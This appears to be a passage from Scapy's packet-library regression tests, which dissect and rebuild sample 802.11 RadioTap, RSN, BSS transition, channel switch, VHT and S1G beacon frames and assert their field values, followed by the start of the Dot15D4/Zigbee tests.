b'\\x00\\x008\\x00k\\x084\\x00oo\\x0f\\x98\\x00\\x00\\x00\\x00\\x10\\x00\\x99\\x16@\\x01\\xc5\\xa1\\x01\\x00\\x00\\x00@\\x01\\x02\\x00\\x99\\x16\\x9d\"\\x05\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\x01\\x16\\x01\\x82\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x88\\x020\\x00\\xb8\\xe8VB_\\xb2\\x82*\\xa8Uq\\x15\\xf0\\x9f\\xc2\\x11\\x16dP\\xb0\\x00\\x00\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00E\\x00\\x00GC\\xad@\\x007\\x11\\x97;\\xd0C\\xde{\\xac\\x10\\r\\xee\\x005\\xed\\xec\\x003\\xd5/\\xfc\\\\\\x81\\x80\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\tlocalhost\\x00\\x00\\x01\\x00\\x01\\xc0\\x0c\\x00\\x01\\x00\\x01\\x00\\t:\\x80\\x00\\x04\\x7f\\x00\\x00\\x01\\xcdj\\x88]'\nr = RadioTap(data)\nr = RadioTap(raw(r))\nassert r.dBm_AntSignal == -59\nassert r.ChannelFrequency == 5785\nassert r.ChannelPlusFrequency == 5785\nassert r.present == 3410027\nassert r.A_MPDU_ref == 2821\nassert r.KnownVHT == 511\nassert r.PresentVHT == 22\nassert r.notdecoded == b''\n\n= RadioTap Big-Small endian dissection\ndata = b'\\x00\\x00\\x1a\\x00/H\\x00\\x00\\xe1\\xd3\\xcb\\x05\\x00\\x00\\x00\\x00@0x\\x14@\\x01\\xac\\x00\\x00\\x00'\nr = RadioTap(data)\nr.show()\nassert r.present == 18479\n\n= RadioTap MCS dissection\ndata = b\"\\x00\\x00\\x0b\\x00\\x00\\x00\\x08\\x00?,\\x05\"\nr = RadioTap(data)\nr.show()\nassert r.present.MCS\nassert r.knownMCS.MCS_bandwidth\nassert r.knownMCS.MCS_index\nassert r.knownMCS.guard_interval\nassert r.knownMCS.HT_format\nassert r.knownMCS.FEC_type\nassert r.knownMCS.STBC_streams\nassert not r.knownMCS.Ness\nassert not r.knownMCS.Ness_MSB\nassert r.MCS_bandwidth == 0\nassert r.guard_interval == 1\nassert r.HT_format == 1\nassert r.FEC_type == 0\nassert r.STBC_streams == 1\nassert r.MCS_index == 5\nassert r.Ness_LSB == 0\n\n= RadioTap RX/TX Flags dissection\ndata = b'\\x00\\x00\\x0c\\x00\\x00\\xc0\\x00\\x00\\x02\\x00\\x3f\\x00'\nr = RadioTap(data)\nr.show()\nassert r.present.TXFlags\nassert r.TXFlags.TX_FAIL\nassert r.TXFlags.CTS\nassert r.TXFlags.RTS\nassert r.TXFlags.NOACK\nassert r.TXFlags.NOSEQ\nassert r.TXFlags.ORDER\nassert r.present.RXFlags\nassert r.RXFlags.BAD_PLCP\n\n= RadioTap, other fields\n\ndata = b'\\x00\\x00 \\x00\\xae@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x10\\x02\\x85\\t\\xa0\\x00\\xe2\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xa0@:\\x01\\x00\\xc0\\xca\\xa4}PLfA\\xac\\xe4\\xb3\\x00\\xc04\\xeb\\xca\\xa4}P\\x00 \\x08 \\x00\\x00\\x00\\x00\\x0f)\\x1d\\xd4\\xd49\\x00\\x03\\x1f>'\nr = RadioTap(data)\nassert Dot11TKIP in r\nassert r[Dot11]\nassert r.dBm_AntSignal == -30\nassert r.Lock_Quality == 100\nassert r.RXFlags == 0\n\ndata = b'\\x00\\x00\\x0f\\x00\\x00\\x00\\x00\\x02\\xff\\x7f?\\x00\\x00\\x04\\x00'\nr = RadioTap(data)\nrepr(r)\nassert list(r.hemuou_per_user_known) == ['NSTS']\n\n= RadioTap - Dissection - guess_payload_class() test\ndata = b'\\x00\\x00\\r\\x00\\x04\\x80\\x02\\x00\\x02\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xe8\\x94\\xf6\\x1c\\xdf\\x8b\\xff\\xff\\xff\\xff\\xff\\xff\\xa0\\x01\\x00\\x10ciscosb-wpa2-eap\\x01\\x08\\x02\\x04\\x0b\\x16\\x0c\\x12\\x18$2\\x040H`l\\x03\\x01\\x01-\\x1an\\x11\\x1b\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nradiotap = RadioTap(data)\nassert radiotap.present.Rate\nassert radiotap.present.TXFlags\nassert radiotap.present.b18\nassert radiotap.present == 163844\nassert radiotap.guess_payload_class(\"\") == Dot11\n\n= RadioTap - Dissection with Extended presence mask\ndata = b\"\\x00\\x00 \\x00\\xae@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x10\\x02\\x9e\\t\\xa0\\x00\\xa2\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x94S0\\xe8\\x93\\xb2\\x94S0\\xe8\\x93\\xb2\\xf0u\\x85\\xe1H\\x9c\\x08\\x00\\x00\\x00d\\x00\\x11\\x14\\x00\\x08Why Fye?\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl\\x03\\x01\\x0b\\x05\\x04\\x00\\x01\\x00\\x00*\\x01\\x04/\\x01\\x040\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x0c\\x002\\x04\\x0c\\x12\\x18`\\x0b\\x05\\x07\\x00;\\x00\\x00-\\x1a\\xad\\x19\\x17\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16\\x0b\\x08\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\x08\\x04\\x00\\x08\\x00\\x00\\x00\\x00@\\xdd1\\x00P\\xf2\\x04\\x10J\\x00\\x01\\x10\\x10D\\x00\\x01\\x02\\x10G\\x00\\x10\\xef\\xda]\\xd2#\\xe8\\xa7\\xf0\\xb2/\\xa4\\x98\\xbf\\x0cv\\xe7\\x10<\\x00\\x01\\x03\\x10I\\x00\\x06\\x007*\\x00\\x01 \\xdd\\t\\x00\\x10\\x18\\x02\\x07\\x00\\x1c\\x00\\x00\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x80\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BC^\\x00b2/\\x00F\\x05r\\x08\\x01\\x00\\x00\\xdd\\x1e\\x00\\x90L\\x04\\x08\\xbf\\x0c\\xb2Y\\x82\\x0f\\xea\\xff\\x00\\x00\\xea\\xff\\x00\\x00\\xc0\\x05\\x00\\x0b\\x00\\x00\\x00\\xc3\\x02\\x00\\x02\\x08I\\xc0\\xdb\"\nradiotap = RadioTap(data)\n\nassert radiotap.present.Ext\nassert len(radiotap.Ext) == 2\nassert radiotap.Ext[0].present.b5\nassert radiotap.Ext[0].present.b11\nassert radiotap.Ext[0].present.b29\nassert radiotap.Ext[0].present.Ext\nassert radiotap.Ext[1].present.b37\nassert radiotap.Ext[1].present.b43\nassert not radiotap.Ext[1].present.Ext\n\nassert radiotap.present.Flags\nassert radiotap.Flags.FCS\nassert Dot11FCS in radiotap\nassert radiotap.fcs == 0xdbc04908\n\nassert Dot11EltRates in radiotap\nassert radiotap[Dot11EltRates].rates == [130, 132, 139, 150, 36, 48, 72, 108]\n\n= RadioTap - Build with Extended presence mask\n\na = RadioTapExtendedPresenceMask(present=\"b0+b12+b29+Ext\")\nb = RadioTapExtendedPresenceMask(index=1, present=\"b32+b45+b59+b62\")\npkt = RadioTap(present=\"Ext\", Ext=[a, b])\nassert raw(pkt) == b'\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x80\\x01\\x10\\x00\\xa0\\x01 \\x00H'\n\n= RadioTap - dissect & build TLVs\n\npkt = RadioTap(\n    present=\"TLV+dBm_TX_Power+TXFlags+Channel+Rate+Flags\",\n    tlvs=[\n        RadioTapTLV(type=30, data=b\"tes1t\"),\n        RadioTapTLV(type=1, data=b\"a\")\n    ]\n)\n\nassert raw(pkt) == b'\\x00\\x00,\\x00\\x0e\\x84\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1e\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00tes1t\\x00\\x00\\x00\\x01\\x00\\x01\\x00a\\x00\\x00\\x00'\n\npkt = RadioTap(raw(pkt))\nassert pkt.present.TLV\nassert pkt.tlvs[0].type == 30\nassert pkt.tlvs[0].data == b\"tes1t\"\nassert pkt.tlvs[0].pad == b\"\\0\\0\\0\"\nassert pkt.tlvs[1].type == 1\nassert pkt.tlvs[1].data == b\"a\"\nassert pkt.notdecoded == b\"\"\n\n= fuzz() calls for Dot11Elt()\nfor i in range(10):\n    assert isinstance(raw(fuzz(Dot11Elt())), bytes)\n\n= PMKIDListPacket - Check computation of nb_pmkids\nassert PMKIDListPacket(raw(PMKIDListPacket())).nb_pmkids == 0\nassert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=[\"AZEDFREZSDERFGTY\"]))).nb_pmkids == 1\nassert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=[\"0123456789ABDEFX\", \"AZEDFREZSDERFGTY\"]))).nb_pmkids == 2\n\n= Dot11EltRSN - Check computation of nb_pairwise_cipher_suites and nb_akm_suites \nassert Dot11EltRSN(raw(Dot11EltRSN())).nb_pairwise_cipher_suites == 1 \nassert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher=\"TKIP\")]))).nb_pairwise_cipher_suites == 1 \nassert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher=\"TKIP\"), RSNCipherSuite(cipher=\"CCMP-128\")]))).nb_pairwise_cipher_suites == 2 \nassert Dot11EltRSN(raw(Dot11EltRSN())).nb_akm_suites == 1\nassert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite=\"PSK\")]))).nb_akm_suites == 1\nassert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite=\"PSK\"), AKMSuite(suite=\"802.1X\")]))).nb_akm_suites == 2\n\n= Dot11EltMicrosoftWPA - Check computation of nb_pairwise_cipher_suites and nb_akm_suites \nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_pairwise_cipher_suites == 1\nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher=\"TKIP\")]))).nb_pairwise_cipher_suites == 1\nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher=\"TKIP\"), RSNCipherSuite(cipher=\"CCMP-128\")]))).nb_pairwise_cipher_suites == 2\nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_akm_suites == 1\nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite=\"PSK\")]))).nb_akm_suites == 1\nassert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite=\"PSK\"), AKMSuite(suite=\"802.1X\")]))).nb_akm_suites == 2\n\n= Dot11BSSTMRequest - dissection\n\npkt = RadioTap(b\"\\x00\\x008\\x00/@@\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x7f\\x89&\\x88\\x00\\x00\\x00\\x00\\x10\\x0c\\xcc\\x15@\\x01\\xe4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8f\\xe7&\\x88\\x00\\x00\\x00\\x00\\x16\\x00\\x11\\x03\\xe4\\x00\\xde\\x01\\xd0\\x00<\\x00\\x92U\\x1f\\xe9g9J\\xf2\\x1c\\x03)\\x89J\\xf2\\x1c\\x03)\\x89\\xc0\\xce\\n\\x07\\x01\\x05\\x05\\x00\\xff4\\x10F\\xf2\\x1c\\x03)\\x89\\x00\\x00\\x00\\x00Q\\x0b\\x00\\x03\\x01\\xff\\xaaV\\xdaY\")\nassert Dot11BSSTMRequest in pkt\n\nassert pkt[Dot11Action].category == 10\nassert pkt[Dot11Action][Dot11WNM].action == 7\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].token == 1\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].mode.Preferred_Candidate_List_Included\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].mode.Disassociation_Imminent\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].disassociation_timer == 5\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].validity_interval == 255\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].type == 52\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].len == 16\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].BSSID == \"46:f2:1c:03:29:89\"\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].AP_reach == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].security == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].key_scope == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].capabilities == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].mobility == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].HT == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].VHT == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].FTM == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].reserved == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].op_class == 81\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].channel == 11\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMRequest].neighbor_report[0].phy_type == 0\n\n= Dot11BSSTMResponse - dissection\n\npkt = RadioTap(b\"\\x00\\x00,\\x00\\xae@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x10\\x0c<\\x14@\\x01\\xce\\x00d\\x00\\x00\\x00\\xd0\\x00\\xca\\x01\\xca\\x02\\xcc\\x03\\xd0\\x00<\\x00df$J\\xe1\\xc4\\xa0\\xcc+\\xbe\\xc9Odf$J\\xe1\\xc4p\\x0c\\n\\x08\\x01\\x06\\x004\\rdf$J\\xe1\\xc3\\x00\\x00\\x00\\x00\\x04\\x0c\\x00<\\xdd\\xdf=\")\nassert Dot11BSSTMResponse in pkt\n\nassert pkt[Dot11Action].category == 10\nassert pkt[Dot11Action][Dot11WNM].action == 8\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].token == 1\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].status == 6\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].termination_delay == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].type == 52\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].len == 13\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].BSSID == \"64:66:24:4a:e1:c3\"\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].AP_reach == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].security == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].key_scope == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].capabilities == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].mobility == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].HT == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].VHT == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].FTM == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].reserved == 0\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].op_class == 4\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].channel == 12\nassert pkt[Dot11Action][Dot11WNM][Dot11BSSTMResponse].neighbor_report[0].phy_type == 0\n\n= Dot11Ack\n\npkt = Dot11(bytes(Dot11()/Dot11Ack()))\nassert pkt.subtype == 13\nassert pkt.type == 1\n\n= Dot11CSA\n\npkt = RadioTap(b\"\\x00\\x008\\x00/@@\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\xfe\\x83\\x06\\x10\\x00\\x00\\x00\\x00\\x10\\x02\\x8a\\t\\xa0\\x00\\xfe\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x006\\x07\\x10\\x00\\x00\\x00\\x00\\x16\\x00\\x11\\x03\\xf8\\x00\\xfe\\x01\\xd0\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x0cs)d\\xa5\\r\\x0cs)d\\xa5\\r\\xb0!\\x00\\x04%\\x03\\x01\\x0b\\x05\\x0b\\xb9<\\x8c\")\nassert Dot11SpectrumManagement in pkt\nassert Dot11CSA in pkt\nassert Dot11EltCSA in pkt\n\nassert pkt[Dot11Action].category == 0\nassert pkt[Dot11Action][Dot11SpectrumManagement].action == 4\nassert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].ID == 37\nassert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].len == 3\nassert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].mode == 1\nassert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].new_channel == 11\nassert pkt[Dot11Action][Dot11SpectrumManagement][Dot11CSA][Dot11EltCSA].channel_switch_count == 5\n\n= Dot11OBSS\n\ndata = b'\\x00\\x008\\x00/@@\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x7fB\\xe9\\n\\x00\\x00\\x00\\x00\\x10\\x16l\\t\\xa0\\x00\\xc3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xbf\\x9b\\xe9\\n\\x00\\x00\\x00\\x00\\x16\\x00\\x11\\x03\\xc3\\x00\\xbf\\x01\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff`\\x8d&\\xa6\\xd6\\x04`\\x8d&\\xa6\\xd6\\x04@S\\xe2\\xb0\\x04\\x00\\x00\\x00\\x00\\x00d\\x00\\x11\\x14\\x00\\rArc-QA-Lab-2G\\x01\\x08\\x82\\x84\\x8b\\x96$0Hl\\x03\\x01\\x01\\x05\\x04\\x02\\x03\\x00\\x00\\x07\\x06AE \\x01\\r\\x14#\\x02\\x19\\x00*\\x01\\x042\\x04\\x0c\\x12\\x18`0\\x18\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x02\\x00\\x00\\x0f\\xac\\x02\\x00\\x0f\\xac\\x04\\x0c\\x00\\x0b\\x05\\x00\\x00\\xc1\\x00\\x00F\\x053\\x00\\x00\\x00\\x006\\x03d\\x00\\x00-\\x1a\\xef\\x19\\x17\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16\\x01\\x08\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00J\\x0e\\x14\\x00\\n\\x00,\\x01\\xc8\\x00\\x14\\x00\\x05\\x00\\x19\\x00\\x7f\\n\\x05\\x00\\x08\\x80\\x00\\x00\\x00@\\x00@\\xff #\\x05\\x00\\x08\\x12\\x00\\x10\" \\x02\\xc0\\x0fB\\x85\\x10\\x00\\x0c\\x00\\xea\\xff\\xea\\xffz\\x1c\\xc7q\\x1c\\xc7q\\x1c\\xc7q\\xff\\x07$\\xf4?\\x00\\x02\\xfc\\xff\\xff\\x0e&\\x00\\x00\\xa4\\x08 \\xa4\\x08@C\\x08`2\\x08\\xdd\\x1d\\x00P\\xf2\\x04\\x10J\\x00\\x01\\x10\\x10D\\x00\\x01\\x02\\x10<\\x00\\x01\\x03\\x10I\\x00\\x06\\x007*\\x00\\x01 \\xdd\\x1e\\x00\\x90L\\x04\\x18\\xbf\\x0c\\xb1i\\x8a\\x0f\\xea\\xff\\x00\\x00\\xea\\xff\\x00\\x00\\xc0\\x05\\x00\\x01\\x00\\x00\\x00\\xc3\\x02\\x005\\xdd\\n\\x00\\x10\\x18\\x02\\x00\\x00\\x1c\\x00\\x00\\x01\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x80\\x00\\x03\\xa4\\x00\\x00\\'\\xa4\\x00\\x00BC^\\x00b2/\\x00l\\x02\\x7f\\x00 \\x8d\\xf4\\xe1'\npkt = RadioTap(data)\n\nassert Dot11EltOBSS in pkt\n\nassert pkt[Dot11EltOBSS].ID == 74\nassert pkt[Dot11EltOBSS].len == 14\nassert pkt[Dot11EltOBSS].Passive_Dwell == 20\nassert pkt[Dot11EltOBSS].Active_Dwell == 10\nassert pkt[Dot11EltOBSS].Scan_Interval == 300\nassert pkt[Dot11EltOBSS].Passive_Total_Per_Channel == 200\nassert pkt[Dot11EltOBSS].Active_Total_Per_Channel == 20\nassert pkt[Dot11EltOBSS].Delay == 5\nassert pkt[Dot11EltOBSS].Activity_Threshold == 25\n\n= Dot11VHTOperation\n\npkt = RadioTap(b\"\\x00\\x008\\x00/@@\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00K\\x1178\\x00\\x00\\x00\\x00\\x10\\x0c<\\x14@\\x01\\xba\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xffj78\\x00\\x00\\x00\\x00\\x16\\x00\\x11\\x03\\xb6\\x00\\xba\\x01\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff`\\x8d&\\xa6\\xd6\\x05`\\x8d&\\xa6\\xd6\\x05\\xb0i~\\x96\\x9e\\x03\\x00\\x00\\x00\\x00d\\x00\\x11\\x11\\x00\\rArc-QA-Lab-5G\\x01\\x08\\x8c\\x12\\x98$\\xb0H`l\\x05\\x04\\x00\\x03\\x00\\x00\\x07<AE $\\x01\\x17(\\x01\\x17,\\x01\\x170\\x01\\x174\\x01\\x178\\x01\\x17<\\x01\\x17@\\x01\\x17d\\x01\\x1eh\\x01\\x1el\\x01\\x1ep\\x01\\x1et\\x01\\x1ex\\x01\\x1e|\\x01\\x1e\\x80\\x01\\x1e\\x84\\x01\\x1e\\x88\\x01\\x1e\\x8c\\x01\\x1e \\x01\\x00#\\x02\\x19\\x000\\x18\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x02\\x00\\x00\\x0f\\xac\\x02\\x00\\x0f\\xac\\x04\\x0c\\x00\\x0b\\x05\\x00\\x00\\xad\\x00\\x00F\\x053\\x00\\x00\\x00\\x006\\x03d\\x00\\x00-\\x1a\\xef\\x01\\x17\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16$\\x05\\x11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7f\\n\\x04\\x00\\x08\\x80\\x01\\x00\\x00\\xc0\\x01@\\xbf\\x0c\\xf5i\\x8b\\x0f\\xaa\\xff\\x00\\x00\\xaa\\xff\\x00 \\xc0\\x05\\x01*2\\x00\\x00\\xc3\\x05\\x035555\\xff'#\\x05\\x00\\x08\\x12\\x00\\x10L \\x02\\xc0o[\\x85\\x18\\x00\\x0c\\x00\\xaa\\xff\\xaa\\xff\\xaa\\xff\\xaa\\xff{\\x1c\\xc7q\\x1c\\xc7q\\x1c\\xc7q\\x1c\\xc7q\\xff\\x07$\\xf4?\\x00;\\xfc\\xff\\xff\\x0e&\\x04\\x00\\xa4\\x08 \\xa4\\x08@C\\x08`2\\x08\\xdd\\x1d\\x00P\\xf2\\x04\\x10J\\x00\\x01\\x10\\x10D\\x00\\x01\\x02\\x10<\\x00\\x01\\x03\\x10I\\x00\\x06\\x007*\\x00\\x01 \\xdd\\x05\\x00\\x90L\\x04\\x17\\xdd\\n\\x00\\x10\\x18\\x02\\x00\\x00\\x1c\\x00\\x00\\x01\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x84\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BC^\\x00b2/\\x00l\\x02\\x7f\\x00I=\\xa4/\")\nassert Dot11EltVHTOperation in pkt\nassert Dot11VHTOperationInfo in pkt\n\nassert pkt[Dot11EltVHTOperation].ID == 192\nassert pkt[Dot11EltVHTOperation].VHT_Operation_Info\nassert pkt[Dot11EltVHTOperation].VHT_Operation_Info.channel_width == 1\nassert pkt[Dot11EltVHTOperation].VHT_Operation_Info.channel_center0 == 42\nassert pkt[Dot11EltVHTOperation].VHT_Operation_Info.channel_center1 == 50\n\n= Dot11EltVHTOperation in isolation\n\npkt = Dot11EltVHTOperation(b'\\xc0\\x05\\x01*2\\x00\\x00')\nassert pkt[Dot11Elt::{\"ID\": 192}].len == 5\n\n= Dot11EltOBSS in isolation\n\npkt = Dot11EltOBSS(b'J\\x0e\\x14\\x00\\n\\x00,\\x01\\xc8\\x00\\x14\\x00\\x05\\x00\\x19\\x00')\nassert pkt[Dot11Elt::{\"ID\": 74}].len == 14\n\n= Dot11EltCSA in isolation\n\npkt = Dot11EltCSA(b'%\\x03\\x01\\x0b\\x05')\nassert pkt[Dot11Elt::{\"ID\": 37}].len == 3\n\n= Dot11S1GBeacon\n\npkt=Dot11(b\"\\x1c\\x18\\x00\\x00,/u\\x1c\\x103hq\\xf8\\x00\\x00\\xd5\\x08\\x01\\x00d\\x00\\x00\\x00\\x00\\x00\\x05\\x02\\x00\\x01\\xd9\\x0f\\x9e\\x00@\\x18\\x80\\x0c\\x00\\x02@\\x00\\xfe\\x00\\xfc\\x01\\x00\\xe8\\x06\\x06\\x18&(\\xc4\\xcc\\xd6\\x02d\\x00\\x00\\nWiFiDiving\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x01\\x00\\x03\\xa4\\xd5\\x01'\\xa4\\xd5\\x01BC\\xd5\\x01b2\\xd5\\x01\")\nassert pkt[Dot11].type == 3\nassert pkt[Dot11].subtype == 1\nassert pkt[Dot11].addr1 == '2c:2f:75:1c:10:33'\nassert pkt[Dot11S1GBeacon].timestamp == 16281960\nassert pkt[Dot11Elt::{\"ID\": 0}].info == b\"WiFiDiving\"\nassert pkt[Dot11Elt::{\"ID\": 214}].len == 2\nassert pkt[Dot11Elt::{\"ID\": 217}].len == 15\nassert pkt[Dot11Elt::{\"ID\": 232}].len == 6\nassert pkt[Dot11].FCfield_bw == 3\nassert pkt[Dot11].FCfield2.next_tbtt == False\nassert pkt[Dot11].FCfield2.comp_ssid == False\nassert pkt[Dot11].FCfield2.ano == False\nassert pkt[Dot11].FCfield.security == False\nassert pkt[Dot11].FCfield.AP_PM == False\n"
  },
  {
    "path": "test/scapy/layers/dot15d4.uts",
    "content": "% Regression tests for the Dot15D4, SixLoWPAN and Zigbee layers\n\n###################\n##### Dot15D4 #####\n###################\n\n+ Dot15D4 tests\n\n= Dot15D4 layers\n\n# a crazy packet with all classes in it!\npkt = Dot15d4()/Dot15d4Ack()/Dot15d4AuxSecurityHeader()/Dot15d4Beacon()/Dot15d4Cmd()/Dot15d4CmdAssocReq()/Dot15d4CmdAssocResp()/Dot15d4CmdCoordRealign()/Dot15d4CmdCoordRealignPage()/Dot15d4CmdDisassociation()/Dot15d4CmdGTSReq()/Dot15d4Data()/Dot15d4FCS()\nassert Dot15d4 in pkt.layers()\nassert Dot15d4Ack in pkt.layers()\nassert Dot15d4AuxSecurityHeader in pkt.layers()\nassert Dot15d4Beacon in pkt.layers()\nassert Dot15d4Cmd in pkt.layers()\nassert Dot15d4CmdAssocReq in pkt.layers()\nassert Dot15d4CmdAssocResp in pkt.layers()\nassert Dot15d4CmdCoordRealign in pkt.layers()\nassert Dot15d4CmdCoordRealignPage in pkt.layers()\nassert Dot15d4CmdDisassociation in pkt.layers()\nassert Dot15d4CmdGTSReq in pkt.layers()\nassert Dot15d4Data in pkt.layers()\nassert Dot15d4FCS in pkt.layers()\n\n= Dot15d4FCS parent matching\n\npkt = Ether()/IP()/Dot15d4FCS()\nassert pkt[Dot15d4]\n\n= 